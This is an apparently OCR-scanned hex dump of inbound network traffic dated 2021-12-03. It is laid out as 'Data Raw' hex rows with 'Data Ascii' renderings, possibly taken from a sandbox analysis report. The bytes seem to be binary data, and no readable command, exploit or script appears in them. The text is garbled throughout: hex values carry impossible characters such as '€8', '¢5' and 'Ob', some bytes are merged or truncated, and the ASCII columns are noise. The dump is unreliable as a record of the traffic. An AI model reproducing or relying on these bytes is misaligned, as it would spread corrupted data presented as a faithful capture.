b2 b4 ba 83 15 4a 6¢ 5a 83 1c 37 25 26 €8 24 a8 b4 ed d4 1d 6c 93 62 Ob 4e 21 68 20 f2 08 b0 be 2b c3 87 a4 6d ad 7d
53 21 2e 2d 02 a3 a5 bb fe 29 60 3d d0 16 01 b0 7 47 1c 7c af cd fc fd 3a 63 32 €0 09 20 c4 7d d4 dO 74 36 f0 ad d5 c6 13
db f5 11 41 ac f9 2a d8 5f a5 93 6f 88 1c 7d 7a fa 5f 8¢ 46 62 26 67 70 6d d8 df 4a 75 5d ac 7b 7e 49 6b aa 22 1d 34 24 8e
1c 7f 90 80 50 Ob 09 b8 e7 a9 3c 00 0f 42 6d ea 2d e6
Data Ascii: g;lavhiYt!Wa+(P mX_zg\?UrxLm)O(%s#LImadLbAa$e"HXWks1>J1Z7%&$IbN!h +m}S!.-)'=G|:c2 }6A*_
o}z_Fb&gpmJul{~Ik"4$P<Bm-

2021-12-03 00:05:28 UTC 147 IN Data Raw: 1f 11 fa €2 51 2e 39 20 79 e0 89 c0 e0 01 e5 82 21 82 25 91 7 47 cf f5 38 22 59 1d 09 fa e3 fd fO 44 a6 08 8¢
8f bd f0 ff 00 6f df 04 4b 8e a3 e2 3f 5¢ 11 3c 42 07 2e 5c de c0 5b c3 a9 f0 c3 bf 14 4b 04 13 cf 1f 5f 2c 11 61 b2 2e 2d 8e
74 4c 5e 68 a4 92 07 af e7 6e 97 f9 fe 58 22 6f dc 8e b7 e4 f5 07 c3 f0 c1 12 4b 41 49 e9 7f 1e 3e 3f 1¢ 11 37 71 a5 10 7e
5e 1f df 9f 5f a1 82 26 ch 6b 85 02 7c 39 16 f9 f9 e0 89 89 66 c4 9f 5e bb 7f 7c 11 22 a4 59 77 bd fd 2d e9 6¢ 11 34 79 9f
11 c9 3 fa fa fc f0 44 d3 bb bf bc 4d ad 7e 2d e5 e3 7b fd 5a f8 22 60 b0 49 57 eb f2 c1 14 7b c8 €6 d7 1f ec 2d f5 f3 c1 13
3d a0 80 0f 36 c1 12 Ob 40 b1 48 e3 d6 de 63 ca f8 6b 3d €9 f8 45 03 51 82 d4 a4 6¢ 29 16 09 29 f1 36 bd 88 23 91 d3 fd b
9 ¢5 bl 1d 9d 85 80 00 44 44 46 dd
Data Ascii: Q.9 y!%G8"YDoK?\<B.\[K_,a.-tL"hnX"oKAI>?7q~"_&k|9f|"Yw-14yDM~-{Z"" IW{-=6 @Hck=EQI))6#DDF

2021-12-03 00:05:28 UTC 148 IN Data Raw: f2 bl ff 00 ea cd 3f 4f ¢3 61 44 4c 63 38 d1 d5 83 0d 88 04 19 10 e2 ea 54 af 5f el ff 00 €8 b8 8e 2d c4 f8 b7 43
5d 7¢ 06 ¢8 2¢c d2 33 48 71 9a 10 46 52 27 55 d6 ad 1f ec 29 a5 da 41 08 46 c8 d9 16 97 47 52 99 4a 65 55 57 1c cf ae cf
36 40 53 93 6b 13 14 e4 d9 2e 2b 68 ba cb 88 17 ff 00 2f 16 1e 56 37 c4 7c 4f c4 3b fd 4c 4c e4 47 d4 06 9b 00 29 4d bd
2a be 97 e0 7e 17 fe 9f f0 62 70 fe 1a 1c 74 81 53 al 98 9a c6 a6 7d 56 cd 40 d2 18 b1 12 80 b8 ad dd 3c a3 8d e4 8e 2c
54 a5 82 a2 af 3f 2b 71 6¢ 62 0f e2 a2 b4 ef 45 dc 7e 2c 10 61 99 2f 00 dO 03 cO 7e d5 c9 1b 21 35 10 83 dc 23 6a 4e e2
90 91 c8 16 b9 bf 26 e4 Oc 17 3b be 27 30 bf af 7c ab b4 85 39 1e 8a 84 5a cc 00 3¢ 38 27 a7 c8 79 79 78 fa 60 b0 f9 97
al el fb 53 d1 a9 a4 5a ed 8f Ob 5b fO fc ff 00 6f
Data Ascii: ?0aDLc8T_-C]|,3HgFR'U)AFGRIeUW6@Sk.+h/V7|O;LLG)M*~bptS}V@<,T?+qlbE~,a/~!5#jN&;'0|9Z<8'yy
X SZ[o
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 149 IN Data Raw: c7 cb 8c e5 d6 b4 fa b3 56 6a 34 68 2d 55 cd 16 8b 2b 67 Oc d5 ab d4 Oc 96 f6 ae f6 9f cf 39 53 b3 e6 9f 8 41
d7 aa be b4 e8 ce 93 a5 5a d1 42 d6 5e cd 8c d3 aa 74 2c 89 9b a5 cb 4e 56 a5 6a 96 50 af 53 e9 Oc 43 cc 53 29 99 3a 9d
2d c8 1535 d5 72 e3 6f 56 db 10 ea 09 22 b5 f4 e3 2¢ 67 ec af 91 el 68 cf 63 1d 33 a6 e9 ee 50 d1 4c 87 d9 f5 fe cf bd a7
bb 41 4d 99 ad 59 43 57 b4 47 37 d6 86 62 d4 8d 3a a6 56 d7 9c d1 ae 34 ec c7 43 ca b4 d5 d3 d3 58 ce d2 9d 87 16 a3
5b ca b5 d4 b7 99 91 02 a9 4c 64 8a 29 b4 e8 7d 77 50 32 da b2 6a 33 7f 6¢ ec eb 9f f5 07 5e 7b 50 76 58 d4 5c e4 85 6a
0f 67 ce cf 7a cf a6 39 6e Oe 9e 57 34 c6 83 ae 19 4a 85 50 6b 45 63 cf a8 d5 ab d4 ba 3d Oa ba ed 52 ae fb 75 Oc fd 4a
a5 fb 64 3a 44 8a 34 12 27 ba a7 11 8c cf 91 e9 2f f6
Data Ascii: Vj4h-U+g9SAZB"t,NVjPSCS):-5roV",ghc3PLAMYCWG7b:V4CX[Ld)}wP2j3I1"{PvX\jgz9nW4JPkEc=RuJd:D4'/

2021-12-03 00:05:28 UTC 151 IN Data Raw: bc ec 97 d6 db 31 65 b0 dc 79 2d 3a eb 8a f6 79 2d b1 76 2a 88 62 27 72 f2 98 90 be ed 95 al 89 2e 34 fc 67
19 5a ¢3 9b 1a 5b 2b aa ba b2 9d 98 b4 34 86 el ce 96 f4 47 5¢ 70 45 13 61 43 90 86 5¢ 79 4e 07 94 e4 80 cb 6¢ ba 94 ac
a9 29 61 71 df 53 6d b7 b9 80 09 52 89 05 e5 32 98 88 ea 90 22 14 a5 e7 d4 3f ee a5 ed d1 9a b2 bf 98 a4 b0 ce de e5 97
5e 49 5b bd cb 48 bd d2 01 09 03 0a 6b 6b 1e 5a ad 58 fc ef c8 05 7d 20 4c d0 5a 21 5b d2 a5 29 6e 4a 63 7b 65 b7 54 12
03 ea 91 dc 15 25 5b dc 8c d3 40 a5 b6 81 73 de 61 68 59 5a d6 af e7 1e 80 62 e6 bl bf 61 99 89 ac ce b3 3c d5 fb ec 2b
7e 5c e4 34 3 65 24 59 b6 db 69 3d eb 6f de 4f 1c 95 49 Oe 16 9a 70 d8 a0 21 60 85 ec 36 23 15 f2 45 66 d5 1e 8c d9 92
3 71 5d 4e e2 87 9b 48 64 f7 51 dd b5 96 1b 79 4b 00 dc
Data Ascii: 1ey-:y-v*b'r.4gZ[+4G\pEaC\yNI)agSmR2"?"[HkkZX} LZ![)nJc{eT%[@sahYZba<+~\4e$Yi=0OIp! 6#E
fgq]NHdQyK

2021-12-03 00:05:28 UTC 152 IN Data Raw: ad 65 c8 f5 bc €9 9c e8 d4 4d 54 89 9c 4a 3 e5 43 30 41 cb 11 ab 74 5¢ bd 97 72 ed 2e 74 3a 05 17 33 47 ab
22 bb 49 98 ea 21 e2 4d 67 af 91 a8 af 0d a6 fb ae a6 36 80 e9 b7 2b 79 d7 8d 12 59 0f 3b 56 73 46 64 81 ab 3a 21 a0 14
bc 83 06 af ac 99 b7 49 fb 60 67 3e dO 59 76 bd a2 da c4 fe 46 d1 4a 56 6a cb 19 73 51 f2 82 9f a0 3d 17 54 69 6e €6 28
547 72 c5 5e bb 51 85 96 ab 39 06 b9 27 33 d0 ea ee b4 dc 78 93 a8 78 99 10 48 a0 8a d4 ee 76 d8 8a d4 45 74 58 62
7d 2321 65 4c c9 49 ca b5 c9 d9 d3 b7 87 6e ee cb 79 1b 58 fb 55 f6 6e 39 b6 2c 0d 33 cc 35 bc a5 aa 95 2c cb 40 a3 e4
Oc b9 a9 b4 3a 46 5d d1 aa 83 49 a5 4c 87 a7 90 cd 66 4c e9 4c d3 22 e5 ea fe 6a 61 32 5d 6e b3 22 48 8d 61 a6 92 64 ef
14 bd 34 8d a5 16 41 d6 3a 33 99 b2 89 59 ca fd a7 b5 c2 8f
Data Ascii: eMTJCOAt\r.t:3G"1!Mg6+yY;VsFd:!I'g>YVFIVjsQ=Tin(Tr*Q9'3xxHVEtXb}#!eLInyXUn9,35,@:F]ILfLL"ja2]n"Had
4A:3Y

2021-12-03 00:05:28 UTC 153 IN Data Raw: c1 11 90 01 bd c5 fa 60 89 5f 4f Of 2c 11 28 da 4a 8d c1 b7 3d 3c fc 70 44 f7 6d 88 4f cO 5f 04 4e 5b 21 06 e4
6e 1b 40 9 df af 38 22 c6 6a 48 50 bl f9 7a 1c 73 a2 41 4c a4 24 f2 4d f8 fa fa fc 30 44 d8 b7 e0 91 c8 eb d4 ff 00 5¢c 11 22
a6 54 90 a5 75 bf 85 8f c7 f1 fa f8 11 33 52 49 Oa 1b 2c 4f 8f 07 9b fe 3f d3 04 4d 14 d9 e5 25 3f 80 fe d8 22 6¢ a6 76 9 fd
7c bf Oe 70 44 8a 91 d4 11 74 db d3 fb 78 fd 5f 04 4d 56 c5 ee al c2 6d eb fb 58 60 93 1f cO 7d 53 55 b5 ef 00 07 04 0Ob fe
7fd3 fae0 89 8b ec 75 e0 fd 71 f5 f8 1e 6¢ 70 45 08 f4 63 cf a7 ed cd be 87 c7 cb 04 4c d4 82 45 b6 dc f9 f9 7e 17 f1 fc 70
44 d1 4d 70 52 94 db d4 0f 4b 78 7d 7c fO 44 d5 c6 08 b7 5f 1f ae 40 18 22 60 fc 74 f3 71 6e 3c bd 3d 3e 1f ec 6f 89 93 b9
152 09 16 2a dd 9f 4d 43 e8
Data Ascii: *_0O,(J=<pDmO_N['n@8"jHPzsAL$MOD\"Tu3RI,0?M%?"lv|pDtx_MVmX }SUugIpECLE~pDMpRKXx}|D_@" tqn<
=>0R*MC

2021-12-03 00:05:28 UTC 154 IN Data Raw: 3c fa db 17 6b 1a d1 0d 68 fO fd 23 5¢ 33 67 8a 9d 75 e7 5a f9 a0 ee 5f 65 25 49 4b 43 a5 d3 7b de d6 b9 f0 ea
0Of ca de 58 9f 2f 6e fc b8 ad 3e 60 73 8e ff 00 a9 ac d4 28 b7 a8 80 02 80 d8 ea 7a 8b f1 d7 a9 f1 f8 8e 38 f8 e3 2c 6¢ 3¢
ed a5 f9 7e 04 f8 95 39 80 37 82 14 04 9c bf bb 70 28 17 e4 74 {3 e7 cb f2 eb 8e 31 84 59 53 5a eb 58 9e fc 77 57 6b c8
3209 8e c2 b7 dd cb ee b6 54 02 45 8d fa 5¢ 1le 7a f8 7a fc 3f Oc 4c 08 31 49 da 9e 8b 47 62 c9 b4 dO 09 b2 89 95 49 53
7d 42 8d bc d5 e5 71 e2 6f 6e bd 3e 03 d7 9c fc 33 1c 49 75 cc e8 2b af aa 30 92 73 6d 02 35 a7 le bl 65 09 22 9a 85 94
92 d8 25 24 82 45 cf 1e a6 c7 e3 8e 77 fc 28 20 e4 22 78 6d a9 a7 ba e8 f9 e6 20 01 68 f0 a7 92 68 ed 2d a2 9e 12 4f a9
02 e3 9f 3b 7d 73 ce 38 fe 5b c5 20 98 bf ef 55 6f
Data Ascii: <kh#\3guZ_e%IKC{X/n>"s(z8,|<~97p(t1YSZXWWk2TE\zz?L 11GbIS}Bgon>3lu+0sm5e"%$Ew( "xm hh-O;}s8[ Uo

2021-12-03 00:05:28 UTC 156 IN Data Raw: ea b9 5a 95 a7 93 28 ba b3 4d ed 25 d9 Ob 26 €9 ba a3 1a 16 73 a3 57 b2 cd 37 32 69 7c e6 67 54 df 90 a8 39
36 64 ca bd 22 7e 4f al be cd 6e a7 4a ab 55 28 92 48 b0 ¢6 95 54 61 4b d3 e7 74 fb ec f5 d3 c5 bd 92 f3 de 89 67 Oe d4
7d 96 3b 6a ea ad 45 cd 6a ec e8 d6 a4 6b 4e 79 ac d5 ea 39 05 11 aa b9 f9 1a d9 4f 8c a3 55 fe 38 d6 5d a4 b3 42 ca b0
72 65 4a 3d 03 2c 54 61 35 48 fe 11 00 8b 6b 53 d9 1f 26 e7 1a ce 7b cc 7a e5 3a a9 ac 90 5 32 76 8a e7 4a a6 91 e7 d9
e8ce la2b a7 la a7 a3 48 89 36 8f 9d 74 6b 2d d7 al 3b 50 c9 73 17 99 60 53 33 06 f6 27 94 b7 58 a2 d3 ab 71 63 43 ab
3b 51 93 2¢ 8b 6d 10 Oa 13 ef 28 29 67 85 28 0f bc 2d 60 54 4f 0a 50 €9 7e 2e 38 b0 18 22 31 23 9f fc bc fc 2d dO 0Of 87 3f
8f 41 e2 44 14 02 c0 03 83 6e 4f 43 7f 88 e7 cf f1 c1
Data Ascii: Z(M%&sW72i|gT96d"~OnJU(HTaKtg};EjkNy9OU8]BreJ=,Ta5HkS&{z:2vJ+H6tk-;Ps S3'XqcC;Q,m()g(-"
TOP~.8"1#-?ADNOC

2021-12-03 00:05:28 UTC 157 IN Data Raw: 03 58 3a 11 5d 15 a3 54 cc 2d 85 b7 de 38 db c0 34 54 af 63 88 54 d3 3b 88 6c 3e el 8e d2 62 cb 2a 0a 4b fd
fb ab 43 49 71 69 8e e6 e5 5c e3 35 ad 4f 12 a0 f2 ad 2b 39 ea c6 68 73 22 69 1e 49 cd 7a 9d 99 cb e8 6d 74 4c 91 4e fe
23 2a9a e2 4a le 6a 4d 62 42 cb 14 9c bf 15 48 b2 96 f5 56 ad 49 61 c4 6f 54 65 be a4 94 60 48 6e 52 ea 03 be be 56 d3
5aad 30 d8 e7 c8 00 12 06 80 50 eb 5b 88 e2 ba bb a0 5f 62 be b7 6a 13 70 6b 3d a3 b3 fc 4d 29 al c8 7a 3c 99 3a 7f a6
af b1 9c 33 bc e6 1b 94 89 31 e2 54 b3 ¢5 55 a3 40 ch 88 54 64 f7 15 08 d4 38 15 99 d1 4b eb 6a 1d 6d b7 58 42 cd 33 81
8b 9c 55 83 47 08 16 83 40 74 35 69 a8 a4 96 d4 b5 74 e0 fc 29 73 3f d5 01 a6 7f c6 a4 80 ea 54 81 19 84 4¢ 09 12 40 71
15 5d e4 ec eb d8 37 b3 ef 67 0a 62 62 69 4e 9b 50 a8 55
Data Ascii: X:]T-84TcT;I>b*KClqi\50+9hs"ilzmtLN#*JjMbBHVIaoTe HNRVZOP[_bjpk=M)z<:31TU@Td8KjmXB3UG @15
it)s?TL@q]7gbbiNPU

2021-12-03 00:05:28 UTC 158 IN Data Raw: 31 4e d7 9a 5d 02 ad 9b 69 6e 52 3f 80 cc 85 96 27 c7 cc b9 b5 74 2c c4 ba 8d 06 45 02 4c 41 45 65 57 a9 19
7b 26 e6 ec bl 41 d7 8d 58 cc 1d af fb 6b 68 9c ee d2 dd b2 7b 2a €9 9e 9e c8 a7 68 7e a3 67 3d 24 9b 2e bd 96 €8 fa 5b
0a 81 4e cd 39 5f 4¢c 35 1a 1le 52 al 67 2a 26 97 22 a5 a8 55 24 50 ea 35 a5 65 6¢ dd 99 13 4c ac 77 35 86 ac €3 24 c0 ca
20 7d 32 48 90 20 9a ee 44 c6 93 00 00 02 2b eb 3d 51 73 66 a2 e4 aa de 5b d5 bd 41 a2 f6 40 ec d1 da 1f 48 74 €3 29 e4
1c ad 95 ea e3 44 bb 55 e9 37 68 cc f7 54 a9 54 b3 35 19 1a 93 48 cc 73 f2 34 9a ec 3 36 93 4e al d2 b2 bd 35 55 34 66
7a 6d 6d 66 6e 61 87 56 68 45 Oc c6 c4 cd 07 13 36 €7 €9 44 4e 34 fb 31 39 55 d4 a9 b9 eb b3 87 66 8 ed e6 79 5a dd
17 b3 b7 6¢ bd 51 d6 8c bb 5a d1 6d 5b cc 19 1b 47 b2 85 62
Data Ascii: 1N]inR?'t, ELAEeW{&AXkh{*h~g=$.[N9_L5Rg*&"U$P5elLw5$ }2H D+=Qsf[A@Ht)DU7hTT5Hs46N5U4fzmmf
naVhE6DN419UfyZIQZm[Gb

2021-12-03 00:05:28 UTC 160 IN Data Raw: a0 a5 19 96 28 4d d4 89 d1 d9 52 b7 c3 ¢5 12 1a 78 ed b5 f4 37 d2 bl 7d c1 e5 c4 c2 3f 53 db 20 1f 4d a0 5e
00 a7 81 36 8f 3b d4 0a 94 79 Oc 32 ea 15 21 41 dd aa 05 e4 29 b5 a7 95 80 95 36 a4 36 e2 1c 42 db 5b 6e b6 a4 05 b2
ea 16 d3 al 2e 2549 1d 6¢ 71 78 32 49 82 d1 bc 09 le 9b d2 57 31 17 14 20 c1 e0 75 f5 f3 4e 29 ce b8 c6 b4 65 67 90 c3
b2 92 ba 2¢ ¢4 be ¢8 69 89 Oc ad 1e 2a 53 4f 12 1d 79 0d ef 52 10 e0 da 8b 05 00 ab a8 2b 5¢ 37 Of 9f 8a ¢8 92 el a0 e3
e7 5f c4 6a b0 78 73 9¢c 1b 92 40 b5 3a 7e c0 e6 2a 56 e2 ae a2 98 4¢c 23 da 96 el 79 b2 85 84 87 e3 bb dc b6 e4 66 96 e3
4a a7 c4 29 8ae3 6d 77 ad 36 b7 1c 69 45 a2 2c da 00 Oa 23 a4 12 d1 49 ca 39 d8 78 f0 f2 58 b9 87 34 81 ed d3 f5 65 66
2a a6 87 d4 5e 33 1d 69 a5 29 65 b6 14 d4 76 d2 a6 77 ad 28
Data Ascii: (MRx7}?S M”6;y2!A)66B[n.%llgx2IW1 uN)eg,i*SOyR+\7_jxs@:~*VL#yfJ)mw6iE #19xX4ef* 3i)evw(
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kBytes
Timestamp transferred Direction Data

2021-12-03 00:05:28 UTC 161 IN Data Raw: al e4 dc c1 95 ea 12 2a 08 al e7 5¢ b1 56 a0 4f 9b 41 ab 4f al 56 5a a5 57 e9 8e 41 91 22 8f 5a a5 bf 1e a3
4a a9 36 d4 87 5¢c 83 51 84 fb 13 60 48 4b 4f b0 e2 1d 6d 24 72 1a 12 38 af 45 b2 5a 26 f1 5e 7f ab 2d 19 a2 b1 9f 72 95
06 b5 a5 7d 97 f4 7e 75 4b 56 fb 2c c8 dO cd 15 a5 ea b7 6¢ 29 19 a6 43 1a b5 a2 b2 c6 4d ab 67 ca a6 54 d7 96 59 cd 39
ef 50 6b 94 ec 9a ba ba cc da f2 f6 55 b5 3e 92 98 b9 a5 71 db 96 ed 69 10 ac 99 e7 4c af a0 49 d4 8a 46 9b eb 86 6¢ ce
7d a7 e3 76 al d7 c5 6b 07 67 6¢c 97 9e b2 70 d4 4d 27 d1 5d 46 d0 6¢ a7 4e cd 11 28 b9 4f 3e e5 1c a4 f5 2b 4f 29 94 5a
ee 4f 93 9b 72 f4 dd 41 ae 3d 3d 9c el 2a al 4c a2 54 56 €2 a0 d2 59 b4 12 09 14 88 93 37 b7 f6 2f b6 90 4e 73 16 79 d4
fa 7e 9d 65 5e d3 3d b0 f3 de 57 ec 89 a3 39 1f 4b b5 7a
Data Ascii: *\WVOAOVZWA"ZJ6\Q HKOmMS$r8EZ&"-r}~uKV,)CMgTY9PkU>qILIFI}vkglpM]FIN(O>+0)ZOrA==*LTVY7/Nsy
~e"=W9Kz

2021-12-03 00:05:28 UTC 162 IN Data Raw: 5b 3a 12 6b 7e 7 4d 95 14 5¢ 95 22 e0 f1 c8 27 f4 20 fd 79 e0 a5 ce b6 52 75 dc 26 ab 82 a0 a3 61 €9 {7 6f e6
47 87 96 0a al ee 16 71 4c 9d 88 47 54 dc 93 6e 9c db 9e b8 2d 70 f1 4c 9c ce a4 52 69 15 d2 07 95 94 54 98 40 73 ef 7b
d7 f7 76 dc 26 d7 b7 85 f9 f9 8f c7 05 ab 71 03 a9 20 6b 70 a0 e4 52 83 97 e3 ef 03 c6 de 6¢ 7a 5f fb e2 8f 60 70 34 d8 7
af 85 f8 ad 01 9a 03 3c 3b e7 de b6 4d 53 2f 5d 5d ef 76 43 8d ee ee 9c 4a 95 fc b3 c6 d7 92 a3 ca 17 60 02 88 f7 52 91
70 15 7 4e 3f 24 09 30 1b ff 00 29 fd 9b db 8c ad c1 69 69 Oe 17 8b d2 a3 63 fb b2 f3 53 f6 a6 7d 9a d3 e0 3f 99 3b 53 f6
73 cb 53 24 ca 69 c9 15 dd 71 d2 8c bb 09 6f b9 50 8a 86 fb ea 86 a6 64 3a 44 46 5c 79 55 b6 06 f9 59 cf 2b 42 42 d7 58
86 87 2b d4 78 eb ab b6 fc 2a a6 9f Of 8c 1a 4b
Data Ascii: [:k~M\"' yRu&aoGgLGTn-pLRIT@s{v&q kpRIz_ p4<;MS/]JvCI RpN?$0)iicS}?;SsS$iqoPd:DF\yUY+BBX+x*K

2021-12-03 00:05:28 UTC 163 IN Data Raw: 4e a8 2d 7b 98 51 4c 59 6d 15 0d 8f 44 71 49 0f 36 b5 28 d8 80 9b 9b 1e 4f 81 c5 le 25 a4 70 52 c3 94 d2 80
99 77 1f 75 d2 9c a9 50 8d 19 e4 d3 1a 75 2e d2 6a b1 4d 67 2e 38 39 0a 8¢ f2 94 ec c8 28 b7 bb 78 6e 39 b9 0d a6 db 18
52 6¢ 38 c7 06 2b 06 83 29 69 fa b5 04 4f 5b f4 €3 2b bd 98 b2 40 de 80 69 b5 0f 7e 2b 19 eb f5 26 55 39 59 2b 59 e6 eb
36 a0 e9 76 42 ec ff 00 3b 34 ea 4e a5 e5 7c 9d 47 a7 66 2a 26 ad 64 98 b9 2e b7 Oe a3 95 b3 a5 1d ca 05 77 32 c9 a6 d2
5d 7d 8c cf 4a 4e 4b 54 Oa fa eb 34 a8 91 c2 e6 43 7e 54 19 18 2e 85 ad 7a 73 44 9c d6 99 d7 74 93 b0 96 9d e5 5d 01 dO
ed 50 dO dc c5 ad bd 9f fb 4f 53 a9 74 ac ¢9 91 a8 3a d9 ac d9 82 bb 9a 66 7f 16 d0 4a bc ec b9 99 25 07 ea 55 f6 75 Oa
a4 c3 b3 29 50 eb 66 a7 58 a6 ba fd 1a 78 Oe b8 a4 44 47
Data Ascii: N-{QLYmDql6(O%pRwuPu.jMg.89(xn9RI8+)iO[+@i~+&U9Y+Y6VB;4N|Gf*&d.w2]}INKTAC~T.zsDt]POSt:fJ
%Uu)PfXXDG

2021-12-03 00:05:28 UTC 165 IN Data Raw: e7 b7 8b 1f 22 6e 3a 5b d7 12 09 16 52 1le e6 99 07 c6 aa 12 5d 15 4e a0 85 27 78 55 c1 4d b8 e6 fc 70 09 e7
e7 el 8871 2e 10 4d 28 76 b7 25 d0 31 46 59 35 3c 23 cf 92 b5 e6 65 04 ac a5 6d b2 da 14 2c 05 db dc 94 6¢ 25 62 el
5d 52 49 20 a0 a4 a5 41 44 29 25 24 €3 07 60 b3 29 0d 04 12 41 b9 bc f3 a7 e8 14 3f 12 22 a2 96 d0 41 b0 3e 3d 85 e7 4b
b5 c7 d8 1d 37 59 bb 51 e5 ed 57 d0 1d 49 ca 1a 15 a5 79 a9 35 ba ae b2 e4 99 b9 56 55 71 74 2¢ d7 36 5¢ 79 53 ab fa
45 41 a4 3f 4580 c3 99 f1 d7 aa 15 1la e4 6a e5 4c d1 a8 59 89 84 54 e3 d3 6a 2d d4 ea 31 e5 6¢ c2 f6 80 Ob a5 bl 05 a6
4 04 36 1d cf 2c 82 0f d2 00 69 61 aa a9 6e 1b a4 88 65 73 52 d5 20 b8 11 c6 a6 41 04 38 97 3b 32 e8 1f 66 2f b2 37 b2
€7 66 77 69 55 ba 46 48 77 55 b5 2e 9a d8 be ae 6b 1a 20 66 bc
Data Ascii: "n:[R]IN'XUMpq.M(v%1FY5<#em,|%b]RI AD)%$ )A?"A>=K7YQWIy5VUqt,6\ySEA?E]LYT]-1l6,ianesR A8;
2f/7fwiUFHWU.k f

2021-12-03 00:05:28 UTC 166 IN Data Raw: 4f 7e e4 31 ef e3 d2 67 c0 37 06 Oe 33 c6 25 01 80 7d 62 b5 16 e7 a5 96 44 9c 51 02 5b d2 fb 8a f9 ce 94 5¢ d8
ab e4 Oe d9 bd b7 2a 6d e6 Oe d3 fa 95 5¢ d3 1d 33 96 fa 5f 89 a5 99 70 8a 7c 99 14 f5 3a db cc 45 7b 2c 31 31 c8 88 72
c9 6c 9a 8e 77 99 5¢c a8 a9 e4 ad e6 €9 94 dd €9 8e d6 ¢3 11 8d 25 b8 4c ¢9 14 04 ch a2 2d 7e 95 el 7519 00 al 15 17
9d f9 5a be 0b 76 f4 7b b3 d6 96 €8 a4 01 4f d3 7c 9b 4e a3 3e a6 3b 99 f9 8a 5a 3f 89 e6 ca b8 0a 05 4a a8 d6 e5 a5 52
88 2a 1b bd 9e 3f b3 45 67 de 6d 96 43 78 c9 c0 7d 6f ac ba a6 a6 f6 €5 d2 ca f3 cb cO 7e 16 7f 89 4e 4a 4a 54 4d d5 d4
95 0b 93 bb a9 f3 e4 dc 9f 51 7c 64 al 5c ac 46 48 5a 08 1d 08 24 d8 fc 3c c1 e3 a6 08 ae 96 18 2b 09 3d 52 78 24 Ob 78
1b Of 3f cb 04 52 Oc c4 bf al f2 fa e7 9f d3 d3 04 53 Oc
Data Ascii: 0~1g73%}bDQ[\*m\3_p|:E{,11rw\%L-~uZv{O|N>;Z?JR*?EgmCx}0~NJITMQ|d\FHZ$<+=Rx$x?RS

2021-12-03 00:05:28 UTC 167 IN Data Raw: 56 €5 33 ce 64 47 85 7d 14 6b b1 12 77 5d 3d 4f bb cf 5f 3f 2f d7 a7 1e 78 2e 93 8a 25 c2 09 00 c8 8d 24 5a d2
6a 07 45 12 fc 14 a9 b5 1d b6 3d 0f 07 d7 e3 88 20 1b fa c2 9f 98 dd 69 cd 40 4a a7 23 ad bd 3c 7d 3c fd 7a fe 78 a3 84 51
a2 f7 d6 dc d5 c1 06 c5 5b b2 69 89 56 2 13 cd 8f 81 f3 36 €3 eb a6 32 38 62 f9 6f ac 93 e7 2a 08 06 fa 5a b0 ad 99 54 a0
0d 8a 4a 45 8f 26 fd 7e 23 f2 7 ¢3 18 3d 9a 1b 4d Oa d1 ae 8b db a6 a7 c4 f9 ab 4e al 4b f7 8e c4 df 82 6¢ 90 6f 7e 6¢ 7c
cf 8f 1d 3e 38 ae 46 ad 55 al 36 21 ee 55 b8 58 82 45 ca 7a 8b 91 c8 f8 7c 3f a6 04 48 83 e4 8a c8 9f 0d 64 1b 6d 3e ef 42
80 4f 87 1c f8 8 02 6d f1 c6 8¢ 74 11 35 6e a3 bf 1b a5 96 Ob d4 1a 24 a8 ea 89 99 €9 a9 50 a9 d0 1c 32 Ob 69 51 Ob 97
49 51 dd 2e 01 e4 5¢ b6 07 b5 32 9e 4e f6
Data Ascii: V3dG}kw]=0_?/x.%$Z|E= i@J#<}<zxQ[iV628b0o*ZTIE&~#=MNKlo~I|>8FU6!UXEz|?Hdm>BOmt5n$P2iQIQ.\2N

2021-12-03 00:05:28 UTC 168 IN Data Raw: 80 f3 0a a8 c9 41 3c a4 5a c7 c3 cf d7 83 7 8b 07 91 60 07 44 f9 81 94 24 09 92 28 4f a5 bd 76 94 93 a8 2b b2

87 de 1d 3c 8f a7 a7 1d 47 5f d3 16 f9 af el 7d bb ac ad 5b 89 f4 9f b4 cc 08 fd 4e 93 e5 74 8f 70 ea 89 b2 47 81 20 1f cf
1d 2d 71 33 3e 4b 89 d8 79 9c 4c 19 f5 06 d7 44 4b 6a 2a b2 c0 45 ba 3 f5 f9 62 ca 3e 49 17 13 a5 f6 e4 55 54 82 12 76
72 41 eaa3clfd 7f db e6 Oc 77 7e ff 00 bc 93 17 el 83 da 32 97 34 83 53 al a5 af dd 0d 10 0d 38 00 2b ee ec 47 40 a2
39 eb c8 fc 46 27 bb 28 6e Oe 2b 6d 88 4d 85 62 dd 5d c3 cd 14 a4 82 7d de 3a 70 6f f9 f3 82 be 4c 40 09 73 9a 6d 3f 4d
67 9c fb d5 24 a6 54 a2 78 04 1f 05 1f d6 d6 e9 82 0f 99 7d ff 00 e2 7f 29 50 ce d6 d2 0a 40 1d 01 b9 1e 3f Of af 8e Oa 85
85 c6 4d ed 46 7 df 05 50 ca fa 6¢ 3b 7f 11 6f

Data Ascii: A<Z D$(Ov+<G_}[NtpG -g3>KyLDKJ*Eb>IUTvrAwW~24S8+G@9F'(n+mMb]}:poL @sm?Mg$Tx})P@?MFPIl;0

2021-12-03 00:05:28 UTC 170 IN Data Raw: 6¢ 26 cO 1b 99 a5 40 a0 8b 73 e5 Ob 31 87 7c c4 df 84 93 4d 63 98 b7 92 da 5d 09 ec 87 a4 1a la 88 d3 32 c6
5d fe 35 9a da 63 ba 93 9e b3 33 6¢ 4e ae 12 a5 6e 78 52 €3 25 b4 d3 b2 f4 77 14 02 83 34 88 ec 2¢ f5 71 €5 28 a8 19 24
9b 99 57 00 36 de eb 6e a2 52 6e 4a dd ba cb 96 dd bd 67 95 5e el 7e 41 40 9e 08 b5 87 06 f8 85 2a e9 8b 01 2d 9b a5
09 49 24 03 61 eb fd 87 9 8a 34 b8 93 36 ef 51 7e 7b 79 94 cb 50 77 9b 90 2f c7 41 €0 3f b7 ef 8b a2 9a 62 0a 40 4f dd
€0 58 fc f0 45 30 dc 40 00 b5 af €3 ¢7 eb f9 60 8a 4d a8 5b ba 81 e9 61 f0 fa f4 f4 c1 14 bb 51 82 07 20 5e dc 7a fd 7a f4 fd
08 9c al 94 d8 95 01 7b 70 3a 1f a3 82 12 05 cc 73 4b al 2a 02 e3 6d 85 fa 90 3e 3e 5e 5d 4e 1c 7b a2 cd ee 3f 6b 60 d2
9a d4 e9 c7 6f 44 ab 68 b2 89 22 f7 1d 6f 71 fd 3c 3f
